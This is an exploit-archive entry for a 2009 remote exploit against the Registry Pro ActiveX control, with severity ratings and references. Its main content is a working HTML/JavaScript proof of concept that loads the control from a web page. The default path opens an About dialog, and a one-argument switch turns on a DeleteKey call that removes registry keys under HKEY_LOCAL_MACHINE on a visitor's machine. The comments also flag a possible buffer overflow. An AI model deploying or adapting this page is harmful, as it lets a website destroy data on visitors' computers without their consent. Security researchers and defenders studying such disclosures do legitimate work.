Registry Pro (epRegPro.ocx) Remote Insecure Method Exploit

2009.08.31
Credit: t0pP8uZz
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<HTML> <!-- - Registry Pro (epRegPro.ocx) Remote Insecure Exploit - Author: t0pP8uZz Description: ActiveX Remote Insecure Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched ActiveX: http://www.evansprogramming.com/registry_pro.asp The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions. NOTE: the first parameter in the DeleteKey() function is vulnerble to BoF. And can possiblly overwrite the EIP InternetExplorer can Initialise this ActiveX control, And take advantage of its functions. Included in this exploit (POC) is a peice of javascript code lauching the ActiveX control, and executing one of its functions. the function being About() all this will do is lauch a friendly, harmless dialog box, therefore being the perfect POC. Also i added a peice of code that will delete specific REGKEYS or infact possible delete a whole subkey/branch. to use this code it has to be uncommented. - epRegPro.ocx - About Displays the Registry Pro About Dialog. CreateKey Creates a registry key. DeleteBranch Deletes a branch and all it&#65533;s child keys and values. DeleteKey Deletes one registry key. DeleteValue Deletes one registry value. EnumKeys Returns a collection containing all keys within a specified branch. EnumValues Returns a collection containing all values within a specified key. QueryType Returns a value type. QueryValue Returns a value. RenameKey Renames a key. SetValue Sets or creates a value. Peace. --> <OBJECT ID="RegPro" CLASSID="CLSID:D5C839EB-DA84-4F98-9D42-2074C2EE9EFC">Could Not Load ActiveX Control.</OBJECT> <script language="javascript"> /* - Registry Pro (epRegPro.ocx) Remote Insecure Exploit - */ /* Javascript Code By t0pP8uZz */ var keyname = "Software/key"; // Registry key to delete Exploit("harmless"); // Change argument to "dangerous" to delete specified reg key. function Exploit(type) { switch(type) { case "harmless": default: RegPro.About(); // Simple Harmless POC break case "dangerous": RegPro.DeleteKey(80000002, keyname); // 80000002 HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER 80000001h UNCOMMENTING THIS LIKE WILL DELETE REGISTRY KEYS break } } </script> </HTML>

References:

http://www.securityfocus.com/bid/28287
http://www.milw0rm.com/exploits/5271


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top